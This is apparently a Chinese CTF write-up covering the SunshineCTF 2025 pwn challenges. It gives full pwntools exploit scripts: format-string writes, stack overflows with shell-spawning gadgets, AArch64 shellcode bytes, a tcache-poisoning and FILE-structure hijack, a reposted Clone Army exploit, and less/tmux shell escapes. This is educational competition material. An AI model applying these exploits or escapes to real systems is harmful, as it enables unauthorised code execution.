0x00 前言 跟随SU的脚步,heap依旧是弱点。小众考点更是不用说
0x01 题解 i95 这个分类应该算baby pwn?
Jupiter 程序逻辑非常简单 然后是测量字符串偏移,这里是5 直接用pwntools自带的fmtstr_payload一把梭
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/jupiter' elf=ELF(file) choice = 0x001 if choice: port= 25607 sun = 'chal.sunshinectf.games' p = remote(sun,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) secret_key = 0x000000000404010 payload = fmtstr_payload(5 ,{secret_key:0x1337C0DE }) sla('Enter data at your own risk: ' ,payload) itr()
Miami 依旧是非常简单的逻辑 注意到通过输入v1就可以覆盖掉v3,需要填入0x50-0x4字节垃圾数据
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/jupiter' elf=ELF(file) choice = 0x001 if choice: port= 25607 sun = 'chal.sunshinectf.games' p = remote(sun,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) payload = b'a' *(0x50 -4 ) payload += p32(0x1337C0DE ) sla('Enter Dexter\'s password: ' ,payload) itr()
Canaveral check:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'$ORIGIN' SHSTK: Enabled IBT: Enabled Stripped: No
上ida简单分析一下 read(0, buf, 0x64uLL);存在溢出点 同时程序中存在后门函数 我们的攻击需要分两次来进行,第一次覆盖rbp为bss地址,劫持程序流到vuln的read函数这里,配合vuln结尾的leave即可实现往bss段上写数据的操作,接着我们构造一段[rbp-0x10] = binsh_addr 的结构,然后劫持程序流到win函数的结尾,构造出system("/bin/sh")
from pwn import *from ctypes import *import structcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/i95/canaveral' elf=ELF(file) choice = 0x001 if choice: port= 25603 sun = 'chal.sunshinectf.games' p = remote(sun,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) read = 0x000000000401289 payload = b'a' *(0x40 ) + p64(elf.bss()+0x800 ) + p64(read) sla('Enter the launch sequence: ' ,payload) binsh_addr = 0x000000000402008 system = 0x000000000401218 payload = b'a' *(0x40 - 0x10 ) + p64(binsh_addr) + b'a' *8 + p64(elf.bss()+0x800 ) + p64(system) time.sleep(0.1 ) sl(payload) itr()
Daytona check:
Arch: aarch64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
初见aarch64架构,同时注意到没有nx保护,而且我的ida还没法直接反编译,只能硬着头皮看了 这里是打印了一个栈地址。接着就算调用了gets, 简单了解了一下aarch64,看到[原创] CTF 中 ARM & AArch64 架构下的 Pwn 中的这一题 基本跟现在这题是一模一样的,所以这里直接照搬它的shellcode,接着就是测量需要填充多少垃圾数据了。 因为本地没环境,所以临时开始搭建,参考arm_pwn环境搭建及初探 需要安装qemu以及 gdb-multiarch
sudo apt-get install qemu-usersudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386sudo apt install gdb-multiarch
因为这个程序是静态编译的,libc环境这些就不说了,接着
qemu-aarch64 -g 77777 ./daytona
启动程序,同时在另一个终端中启动gdb-multiarch
gdb-multiarch ./daytona pwndbg> target remote localhost:77777
就可以开始调试了,配合pwtools食用
p = process(["qemu-aarch64" ,"-g" , "77777" , "/mnt/c/Users/Z2023/Desktop/daytona" ])
直接用cyclic来测量偏移,按下c发现最后卡在 最后8字节,所以我们前面需要填入0x48个字节的垃圾数据,接着填入指向shellcode起始地址,紧接着填入shellcode即可。 这里尝试使用pwnlib.shellcraft.aarch64 — Shellcode for AArch64
的方法来生成shellcode,但是发现会报这样的错误 赶时间有点急所以就直接抄了上面看雪那篇文章中的shellcode,使用Online Assembler and Disassembler 来转换成bytes类型 完整EXP:
from pwn import *context(os = 'linux' , arch = 'aarch64' , log_level = 'debug' ) file='/mnt/c/Users/Z2023/Desktop/daytona' elf=ELF(file) choice = 0x001 if choice: port= 25606 sun = 'chal.sunshinectf.games' p = remote(sun,port) else : p = process(["qemu-aarch64" ,"-g" , "77777" , "/mnt/c/Users/Z2023/Desktop/daytona" ]) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return ru('The cops said I was going ' ) stack_addr = int (r(12 )) leak('stack_addr' ) code = [ b"\xc0\x53\x00\x91" , b"\xe1\x03\x1f\xaa" , b"\xe2\x03\x1f\xaa" , b"\xa8\x1b\x80\xd2" , b"\x01\x00\x00\xd4" , b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00" , ] raw = b"" .join(code) payload = b'a' * 0x48 payload += p64(stack_addr+0xbd + 8 ) payload += raw sla('What do I tell them??\n' ,payload ) itr()
Jacksonville 程序逻辑比较简单 有gets可以溢出,但需要注意的是要绕过中间这段检测,不然就会直接exit,先是填入6字节垃圾数据,然后填入Jaguars,最后加入0x60 + 8 - 6 - 7 字节的b'\x00'(截断strcmp)。同时程序中有后门函数 EXP:
from pwn import *context.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/jacksonville' elf=ELF(file) choice = 0x001 if choice: port= 25602 sun = 'chal.sunshinectf.games' p = remote(sun,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) payload =b'a' *6 + b'Jaguars' +b'\x00' *(0x68 -6 -7 ) + p64(0x00000000004011FB ) sla('> ' ,payload) itr()
pwn AstroJIT AI 一开始询问是否有API token:
In order to train the AI with dangerous queries, we require an API token. Attempting to guess a token is not required nor desired to have full use of the software. Enter API token, or hit enter to use guest mode:
这里先用访客模式看看,进去之后是这样的
Welcome privileged user! I am an AI in-training! 1) Register Weights for Future Training 2) Talk to the AI 3) Train AI on Internal Emails 4) Weight Debugging 5) Exit Enter an option:
随意尝试了一下,发现选项1允许用户输入,设置ai训练权重,遂尝试格式化字符串,万一他直接printf呢? 结果看到报错,把源码都丢脸上了。 紧急学习一下,审问了一下ai,说是c#编译器的报错,这里应该是后面几个选项跟ai交互的代码,可以看到里面读了一个access_token.txt ,既然这样就盲猜一手flag在flag.txt里面,由于是报错才能看到的源码,我就搞了点非法语句(int.Parse()遇到非数字字符串时会报错)
{ int.Parse(System.IO.File.ReadAllText("flag.txt" )), 0, 0 }
再回到选项一,输入上面这段内容 果然报错了,而且还附带了flag。也算是运气好了
Space Is Less Than Ideal 连上去之后是这样一个界面 发现Access Logs 选项中允许用户输入进行交互(看起来比较像) 直接尝试!sh会显示 失败了,上网搜索一下less命令逃逸之类的,搜到:【渗透测试】— rbash逃逸方法简述 尝试了一下 |,结果发现回显了|mark: , 翻了一下help(less --help)文档,看到| <mark> <command>也可以执行命令,同段落的上面可以看到关于mark的设置 尝试:
m a | a (这里直接就显示 ! 了,先来个ls -al看看) ls -al
与上面一开始就用!的不同,这里是黑屏,来个sleep 10 来判断一下命令是不是真的执行成功 输入完后我的终端就直接变成这样了,可以看到flag.txt,没有读权限。但是有个cat-flag的程序有执行权限,盲猜是读flag的程序,直接运行一下
| a !./cat-flag | sleep 10
得到flag
Space Is My Banner 开始的时候看到 可以查看Tmux config,大概能知道是要Tmux逃逸,但也确实卡了很久。自己尝试过在Turn Spy Pictures On选项里输入一大串垃圾数据尝试栈溢出。但不行,于是我回去上一题Space Is Less Than Ideal看了里面的challenge.sh
while true ; do USER_RESULT=$(whiptail --title "Satellite Control System" \ --menu "Select a control system to access" 20 78 10 \ "Access Logs" "Read logs on the system." \ "Turn Satellite On" "High security change. Requires token to work" \ "Turn Satellite Off" "High security change. Requires token to work" \ "Debug Shell Access" "High security change. Requires token to work" \ "Access Video Logs" "Recommended videos" \ "Debug TTY Info" "Loaded TTY" \ "Exit" "Exit" \ 3>&1 1>&2 2>&3) case "$USER_RESULT " in "Access Logs" ) echo "Displaying system access logs..." SHELL=/sbin/nologin less -r "-PSystem Access Logs (q to quit)" system_logs.txt ;; "Turn Satellite On" |"Turn Satellite Off" |"Debug Shell Access" ) echo "Checking token status..." PASSWORD=$(whiptail --passwordbox "Token entry: " 8 78 --title "${USER_RESULT} Token Request" 3>&1 1>&2 2>&3) whiptail --title "Disabled Feature" --msgbox "This feature is disabled on production environments." 8 78 ;; "Access Video Logs" ) echo "Loading video logs..." whiptail --title "Video Logs" \ --menu "Recommended Videos" 20 78 10 \ "Space Roll" "https://youtu.be/u7xOva-RhSE" \ "Hacking Shells" "https://youtu.be/K7Hn1rPQouU" \ "Hacking Vim" "https://youtu.be/WmvZzkXHOeE" ;; "Debug TTY Info" ) echo "Loading Debug TTY info..." whiptail --title "Debug TTY Info" \ --msgbox "$(tty) " --scrolltext 16 78 ;; "Exit" | *) whiptail --title "Exiting" --msgbox "Exiting..." 8 78 exit ;; esac done
其中
echo "Checking token status..." PASSWORD=$(whiptail --passwordbox "Token entry: " 8 78 --title "${USER_RESULT} Token Request" 3>&1 1>&2 2>&3) whiptail --title "Disabled Feature" --msgbox "This feature is disabled on production environments." 8 78 ;;
也就是上一题的token输入界面的逻辑,无论我们输入什么都只是输出”This feature is disabled on production environments.” 猜测在这里应该也是一样,所以就放弃了从这里入手。 接着也尝试过在 这个页面尝试各种Tmux的快捷键,但是都没用,能在查看 Configs 的地方看到 把当前页面 的所有快捷键都禁止了,所以也是没用。 实际上败笔就是在这里,我忘记了在Super Secret Spy Satellite这个页面之前还有一个页面 这也是SU大哥的解法,在这里能够使用Tmux快捷键 参考Tmux 使用教程 使用ctrl b能够新建一个Tmux窗口,再输入: 可以看到最顶上一行出现了:,并且变成了黄色,尝试输入一些 Tmux命令
可以看到返回结果,接着就是直接执行cat-flag
得到flag
HeapX (已复现) 提供了libc和ld,得知这题是一个2.41-6ubuntu1.2下的堆题。ida看了一下 delet 有UAF,允许申请的堆块的大小还挺宽 同时程序中还有个奇怪的函数 有pie保护感觉不太好利用.. 由于对堆这一块的学习不是很深入,只懂一些低版本的打法。但是前阵子做pwn college的IO FILE模块刚好接触到劫持vtable这个手法,顺藤摸瓜稍微接触了一点点 House of apple,所以我就直接往这个方向去做了。参考这个视频house of apple2之_IO_wfile_overflow
前面的泄露libc base和heap base都能理解并且顺利复现,但是到了large bin attack往 _IO_list_all上写堆地址这步就不行了… 比赛结束后在官方比赛群看到了各路大佬的exp,先搬一个来这里ctf-stuff/Sunshine2025/heapx /pwntemplate.py
复现版 参考了一下SunshineCTF 2025 writeup by Mini-Venom 发现打印函数这里有问题 如果在未申请任何堆块的情况下,选择write 0,这样存储堆块的数组的地址就会被直接输出,后续我们可以通过UAF,将堆块申请到这里,就能实现任意地址写。这个题甚至用不到apple。首先是高版本tcache的指针异或加密,简单演示一下 这里先是free两个堆块,进入tcache,然后我们看看堆块中的内容
0x6150ce7a06c0 0x0000000000000420 0x0000000000000020 ....... ....... 0x6150ce7a06d0 0x00000006150ce7a0 0xb353d55bcab955c0 .........U..[.S. <-- tcachebins[0x20][1/2] 0x6150ce7a0b10 0x0000000000000430 0x0000000000000020 0....... ....... 0x6150ce7a0b20 0x00006156db76e170 0xb353d55bcab955c0 p.v.Va...U..[.S. <-- tcachebins[0x20][0/2]
直接讲结论,第二个堆块的next指针是这样加密的:(第一个chunk的fd << 12 >> 12) ^ fd的地址
pwndbg> p/x 0x6150ce7a02b0 ^ 0x00000006150ce7a0 $7 = 0x6156db76e510
所以在伪造fd之前还需要泄露第一个被free的堆块的fd作为key用来加密。然后讲堆块申请到存储堆块的数组上,通过编辑堆块,编辑存储堆块的数组,然后可以在stdout上伪造一个堆块,直接劫持stdout,通过
_IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68)(fp)
来劫持程序流 EXP:
from pwn import *context(arch='amd64' , log_level = 'debug' ,os = 'linux' ) file='/mnt/c/Users/Z2023/Desktop/heapx/heapx' elf=ELF(file) libc = ELF('/mnt/c/Users/Z2023/Desktop/heapx/libc.so.6' ) choice = 0x001 if choice: port= 25004 polar='1.95.36.136' nss='node4.anna.nssctf.cn' buu='node5.buuoj.cn' ns='47.104.154.99' local = '127.0.0.1' ns = '8.147.132.32' sunshine = 'chal.sunshinectf.games' p = remote(sunshine,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear' ) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) def malloc (size ): sla('> ' ,'new ' + str (size)) def free (index ): sla('> ' ,'delete ' + str (index)) def edit (index,content ): sla('> ' ,'write ' +str (index)) time.sleep(0.1 ) sl('a' ) sla('Enter log data: ' ,content) def show (index ): sla('> ' ,'read ' +str (index)) def exit (): sla('> ' ,b'exit' ) sla('> ' ,'write ' +str (1 )) time.sleep(0.1 ) sl('aaaa' ) ru('#' ) heap_arr = int (r(14 ),16 ) leak('heap_arr' ) malloc(0x418 ) malloc(0x18 ) malloc(0x18 ) malloc(0x18 ) free(0 ) show(0 ) r(2 ) libc_addr = uu64(r(6 ).ljust(8 ,b'\x00' )) libc_base = libc_addr - 0x210b20 leak('libc_base' ) libc.address = libc_base free(1 ) show(1 ) heap_key = uu64(r(5 ).ljust(8 ,b'\x00' )) << 12 leak('heap_key' ) free(2 ) edit(2 ,p64((heap_key >> 12 )^heap_arr)) malloc(0x18 ) malloc(0x18 ) fake_file_addr = libc.sym['_IO_2_1_stdout_' ] system = libc.sym['system' ] fake_file = flat({ 0x0 : b" sh;" , 0x8 : 0 , 0x20 : 0 , 0x28 : system, 0x88 : fake_file_addr+0x100 , 0xc0 : 0 , 0xa0 : fake_file_addr-0x10 , 0xD0 : fake_file_addr + 0x28 - 0x68 , 0xD8 : libc.symbols['_IO_wfile_jumps' ]-0x20 , }, filler=b"\x00" ) edit(5 ,p64(libc.sym['_IO_2_1_stdout_' ]) + p64(len (fake_file))) edit(1 ,fake_file) itr()
把堆块申请到管理堆块的数组上的效果大概就是这样,这里把1号堆块的地址写成stdout了,然后随后的长度也需要改一下。大概就是这样 本来是想试试自己做 pwn college io那时劫持stdout那关造的结构体,但不知道为什么打不通,调试起来有点怪,没了符号表。但感觉打apple也不是不行,感觉好像有点麻烦,程序是从main函数返回的,但返回之前会free掉所有的堆块
puts ("\n[INFO] Shutting down HeapX LogUplink..." ); for ( i = 0 ; i <= 15 ; ++i ) { if ( *((_QWORD *)&unk_4060 + 2 * i) ) free (*((void **)&unk_4060 + 2 * i)); } return 0LL ;
难免会有free掉堆块之后申请回来的操作,这样管理堆块的数组上肯定有同一个地址,难免会触发double free,或许也可以通过将堆块申请到管理数组这里,全部写成0,然后走apple那条链。
HAL9000 (待复现) 完全没看…周六日都一直在尝试把heapx做出来,但结果就是没做出来,然后剩下两题也没看…周一又塞满实验。实在没辙了。discord暂时没看到有人放wp,之后问下su的大哥吧
Clone Army (待复现) emmm这个确实也完全没看过,但是看到有人放exp了,也是先搬过来,来自@leo_something
from pwn import *import resourceexe = ELF("clone_army_patched" ) libc = ELF("libc.so.6" ) ld = ELF("ld.so" ) context.binary = exe context.terminal = ["alacritty" , "-e" ] NC_CMD = "nc chal.sunshinectf.games 25001 " gdbscript = \ """ b *make_clones+232 """ def set_limits (): data_limit_bytes = 512 * 1024 * 1024 resource.setrlimit(resource.RLIMIT_AS, (data_limit_bytes, data_limit_bytes)) def conn (): if args.LOCAL: r = process([exe.path], preexec_fn=set_limits) elif args.GDB: r = gdb.debug([exe.path], gdbscript=gdbscript, aslr=True , preexec_fn=set_limits) else : r = remote(NC_CMD.split(" " )[1 ], int (NC_CMD.split(" " )[2 ])) return r import structdef i2f (i ): return struct.unpack('>f' , struct.pack('>I' , i))[0 ] def main (): r = conn() r.sendlineafter(b">" , b"yes" ) r.sendlineafter(b">" , str (i2f(0 )/0.3048 ).encode()) r.sendlineafter(b">" , str (i2f(0x403A0 )/0.45359999 ).encode()) r.sendlineafter(b">" , str (i2f(0x403A0 )*100.0 ).encode()) r.sendlineafter(b"?" , b"yes" ) r.sendlineafter(b"?" , str (0x403A9 ).encode()) r.sendlineafter(b"?" , b"yes" ) overflow = (1 <<32 )//2 - 1 r.sendlineafter(b"?" , str (overflow).encode()) r.sendlineafter(b"?" , b"no" ) r.sendlineafter(b"?" , b"yes\n0" ) r.sendlineafter(b"?" , b"1" ) got_remote_off = 24 if args.LOCAL or args.GDB: got_remote_off = 8 r.sendlineafter(b"?" , str (exe.got.strcmp-got_remote_off).encode()) r.sendlineafter(b"?" , b"no" ) r.sendlineafter(b"?" , b"2" ) r.sendlineafter(b"?" , str (i2f(0 )).encode()) r.sendlineafter(b"?" , b"yes" ) r.sendlineafter(b"?" , b"yes" ) r.sendlineafter(b"?" , b"0" ) r.recvuntil(b"soldier #" ) libc_low_word = int (r.recvuntil(b"'" , drop=True )) - libc.sym.fgets log.info(f"libc leak: {hex (libc_low_word)} " ) libc_system = libc_low_word + libc.sym.system r.sendlineafter(b"?" , b"3" ) print (hex (libc_system)) r.sendlineafter(b"?" , str (i2f(libc_system)/0.45359999 ).encode()) r.sendlineafter(b"?" , b"/bin/sh" ) r.interactive() if __name__ == "__main__" : main()